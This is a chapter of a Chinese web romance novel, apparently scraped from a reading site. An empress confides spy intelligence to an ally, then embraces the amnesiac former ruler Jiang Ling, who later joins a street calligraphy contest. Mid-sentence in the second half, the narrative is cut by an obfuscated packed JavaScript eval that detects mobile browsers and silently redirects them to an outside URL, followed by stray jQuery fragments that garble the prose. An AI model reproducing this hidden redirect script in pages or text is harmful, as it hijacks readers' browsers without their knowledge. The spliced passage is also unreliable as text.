34. 拥抱

作品:《女帝擒获亡国之君后

    不知沉默了多久,谢辞君终于开口,


    “上次查的那批北疆细作,如今有眉目了”


    他不是很想就着姜令的话题讲下去。


    孟昭川方才从恍惚中醒过来,四周静谧,只有姜令站在远处,视线时不时扫过他们。


    孟昭川让谢辞君进屋说话。


    路过姜令时,她还是柔声和他说着,“我们有些要事,你……”


    姜令视线在两人中游走,他表面语气波澜不惊,心中却有些紧涩,“我等你”


    孟昭川点点头,屋门阖上。


    ……


    “你是说,那批人中有魏清先前的细作?”孟昭川难以置信,魏渡的弟弟魏清,分明是她贬为奴籍后,死于一次意外。


    他先前掌握着卫国地下的细作营——暗影阁,他也曾是魏渡最有用的利刃。


    孟昭川夺位后,他被贬为奴仆后不久便死了,孟昭川派人去看过尸体,确认过是魏清。


    暗影阁只听从魏清号令,沉寂多年,孟昭川不信它还存在。


    “伏雷炸毁的尸块,我派人一一探查过,有一人右手腕上有暗影阁纹印”


    谢辞君正色,孟昭川眉心紧皱,示意他小声些,指了指门外的姜令。


    “他如今都没了记忆,你还怕他听到这些?”谢辞君倒不觉得有什么,“不过昭川,你真能确定,他就完全没了先前的记忆?”


    孟昭川觉得他问的可笑,“你说呢,他要是记得,如今还能好好跟我说话吗?”


    孟昭川看着门外忽明忽暗的影子,他好像还站在刚才的位置,一动不动。


    失去记忆,对他而言,究竟是残忍,还是慈悲呢?


    没有了仇恨,没有了怨怼,一切重新来过。


    可,真的能放下一切,重新来过吗?


    ……


    偶有小雀停泊在玉兰花枝上,啄几片花瓣,又倏然飞走。


    姜令伸手,接下樱红的几朵小花。


    落花可怜,陷入泥地,任人碾踩,人又好到哪里?


    他不知自己从何而来,过去又在何处。


    他仿佛世间一粟孤魂,只有些破碎的记忆在脑中翻涌着,时不时令他疼痛万分。


    他如今,好像只剩下她了。


    他像悬崖的将坠之人,只能抓着她垂下的手,向上攀缘,一旦她轻而易举地松开他,他只会成为无人问询的野鬼孤魂。


    这种孤独,是他失去记忆以来就具有的,那种钻透心扉的孤独感,无数个长夜里让他颤抖,只有她,只有她……


    只有她来时才有些许缓解。


    她说他们先前从未见过,可她怎么那样熟悉,她的气息,她的话语,她的眉目,她的一切……


    姜令依恋万分。


    这是这具身体天生所具有的迷恋,是人世间一切的关隘都无法抗阻,一切的强权都无可拦阻的依恋。


    他最初,只以为是简单的仰慕,可随着和她相处,他发觉,那样的情感越来越浓烈,随着她的靠近、随着她的气息……


    越来越近。


    他不喜欢看她身边有其他的人,他只想她整日都待在自己身边,最好哪里都不要去。


    哪里都不要去……那该多好。


    ……


    “子元,顺着那条线去查,北疆的牢房内,有他们的身份记录,你再核对江南城近来离城失踪的人口,应该不难找出这个人”


    “顺着这个人挖下去,暗影阁那边不会没有动静”孟昭川吩咐着,谢辞君应得很快。


    交涉完,谢辞君打开门,迎上姜令的视线,他见他眼底有些黯然。


    还是看到身后的孟昭川,他的视线才清亮些许。


    “你先去吧”孟昭川对身后的谢辞君说着,他颔首,离开前扫了一眼姜令。


    那样的眼神,像是轻嘲,又像是无奈。


    “在靖安司累吗?”她柔声问着姜令,好几日不见,他的近况,也只能从别人那里了解一些。


    她想听他亲口说。


    “严大人照顾有加,江南事务繁重,我时常说着要帮他一些,但他疼惜我,只给我安排些简单的事务”姜令直言,说到这,那双漂亮的眸子弯了弯,“我看他是怕拂了你的面子,但我是真心想帮他一些的,毕竟也不能在那样好的司府里做个闲人”


    “你倒是善良”孟昭川笑他,眼睛看向他的屋子,顺着她的视线看过去,那桌上又堆了好些东西,“我跟你又带了些新药,是南边请的医师特意研制的,你一定要按时服用,知道吗?”


    姜令见她严肃的样子,心中涌上层层暖流。


    他什么也不记得,一个既无过去,也无将来之人,却被她给予这么大的善意。


    他连自己是谁,来自何处都不知晓,她却好像不管不顾,只是一味地待他好。


    “二姑娘”


    姜令突然叫她。


    “嗯?”


    “我们从前,真的不认识吗?”


    姜令突如其来的问句,孟昭川倒不知如何回应他,“怎么这么问?”


    “从见姑娘的第一面,便觉得似曾相识”


    “从哪里学的搭讪女子的话?”


    姜令忙着否认,耳根处都红成一片,


    “姜某绝非轻薄之人,只是受了二姑娘如此多的恩惠,一时不知如何作答”姜令坦言,“就连在靖安司当值,也是二姑娘所帮,左右都是承了姑娘的好意,心里实在过意不去”


    自姜令失忆以来,孟昭川最不忍的,莫过于看他那双清亮的眼睛。


    那是从前的姜令,从未有过的眼神。


    他以前,总是那样阴郁,从那双眼睛里,可以看到他空洞的死亡。


    “姜令,我有愧于你”


    她直接和他坦白。


    “如果有一天,你记起来一切,能不能答应我,起码不要推开我”


    她不想看他永远低沉的眉眼,不想看他倾颓着奔赴死亡。


    她眼里有些湿润,在阳光底下,竟然泛着波光一样的水色。


    我怎么舍得推开你?姜令不信,这世上真有爱也跨不去的地方,能让他推开这么好的孟姑娘。


    “还有,谁说我不要回报了?”孟昭川笑着反问他。


    春风吹送温柔的飘花,女子轻踮脚尖,轻轻地拥住他。


    她温柔得像是暖漾春波,淌过他心间的浮舟,她在他耳边,一字一顿地说着,“我要你活着,姜令,不管你是恨我、还是爱我,我都要你活着,知道吗?”


    姜令被这突至的拥抱惊得愣在原地。


    他应该推开她的,分明她已有家室,他怎能逾矩……


    可她的靠近实在太过舒服,他又怎么会轻易推开?


    他一只手轻抚她的后背,“好”


    哪怕天地就此塌裂,他闭上眼,只想感受此时温柔的沉醉。


    过去、未来、记忆……


    有什么重要呢?


    他只要现在。


    ————


    姜令在靖安司中,近来认识了许多同僚。


    他对江南的奏卷越来越得心应手,对于盐铁数目的核审,漕粮的运输路线,他都熟悉半日后,察看起来毫不费力。


    同僚称他副使,虽说位高一层,可这副使实在太过讨喜,他生得好、脾气好、为人和善不说,大家有看不明白的、不懂的,一去问他,他全一一教会。


    教不会,他便亲自帮忙做好,有时人多了找他,他也不恼,一个个慢慢来,轻声细语,别人听不听得明白不说,身心都是一种沉醉。


    大家和他很快便熟络起来,虽不知道他姓名,只喊着副


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367834|195759||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    使兄,只觉得官职加一个“兄”字,应该亲热许多。


    “副使兄近来心情颇好啊”同僚近来调侃他,只说他日日和谁都笑意满面。


    心情好?是因为二姑娘吧。


    姜令想起她,只觉得世间一切都美好无比。


    那日她抱着他,姜令每每路过院内的血玉兰,只觉得好看的紧,第二日早值前,采摘一枝,放在靖安司里自己的桌案旁,看到这兰花,就想到那日春风卷起落英,拂过她的青发。


    想到她,只觉得一整日的繁忙都不再恼人了。


    这日黄昏。


    在靖安司一呆就是一整日,二姑娘也是偶尔黄昏才得空过来看他,她一月最多只来七日,有时和他一起用晚膳,有时和他品茗下棋,当然,她用完膳便离开,像是特意过来看看他。


    这天薪俸发下来,前日二姑娘说,今晚会过来用膳。


    姜令坐在马车里,京陌颠簸,他心中欢喜,上回见她,是十日前了。


    想到又和她再见,姜令唇角勾了勾,心中欢喜。


    经过一处嘈杂,只听一声高喊,


    “鄙人是城西苏府内管事,老夫人生辰将至,老爷要一幅好字题写前朝《孝文》一则,各位先生都可上前来一试,书艺精湛者,老爷重重有赏”


    那人摆文墨置于台上,台下人窃窃私语。


    正近傍晚时分,百姓归家,官员下值,上京城拥堵不堪。


    姜令的马车堵在台前,一时半会走不掉,他便掀起轿帘耐心听着热闹。


    “据说这苏老爷好美玉,府内奇珍异宝众多,掉一块碎玉下来都价值不菲呢”


    台下百姓商议着,不少书生正好下学,听了这话,挽起袖子就要上前试试。


    宣纸平铺长案,砚台光亮,讲学司的书生们一一静候着,只等着能上前一展身手。


    姜令四下看着,一女子身着讲学司服饰,提着裙摆便大方地上台。


    “我来试试”


    那女子言谈落落,颇有书生气韵,像是颇有威望,讲学司众人见着她都去了,也一并过去了。


    越来越多人涌入台上,姜令看了看拥堵的街道,一时半会也不好离开。


    “我下去看看”姜令朝车夫说着。


    那车夫是个胆小的,想着主子吩咐了,务必确保这位大人安全,大人要离开他的身边,一时让他有些为难。


    “大人,这……”


    “我就去那台上试试,不走远,你随时可以过来”


    架不住他的要求,那车夫只能由着他去,视线却离不开半步。


    众人议论纷纷,只等着那管事的开题,台下百姓熙攘,黄昏将近,给这群人准备的时间也不多了。


    好在是春末,白日也长了些,如今虽斜阳将落,天空倒也静明光亮。


    众人突然噤声,只见一白衣男子,发束玉冠,步履如风,徐徐而来,生得清俊疏朗,玉树临风。


    “严司学,严司学”


    学生的声音叫了不知多少遍,严冲的视线才缓过来。


    这京城,谁家的贵公子她不识得?谁家的好男儿她没见得?


    她从未见过如此清贵好看的男子。


    他衣着精致却不显俗,生得更是绝尘俊气,严冲看得有些呆了。


    那男子站在桌案旁,提笔,等着管事的开口。


    “诸位各凭所念,自行题写”


    这一句,倒让这群平日里只会临摹的学生愣住了。


    自行题写?且不说字体如何,这《孝文》是出了名的难记背,用词晦涩不说,足足十卷之长,写这孝文的是前朝的书法大家,字体也不是一般学生摹得来的。


    几个学生有些怕了,悻悻地走下去了,台上一时间,只留下严冲和一两个书生。


    还有姜令。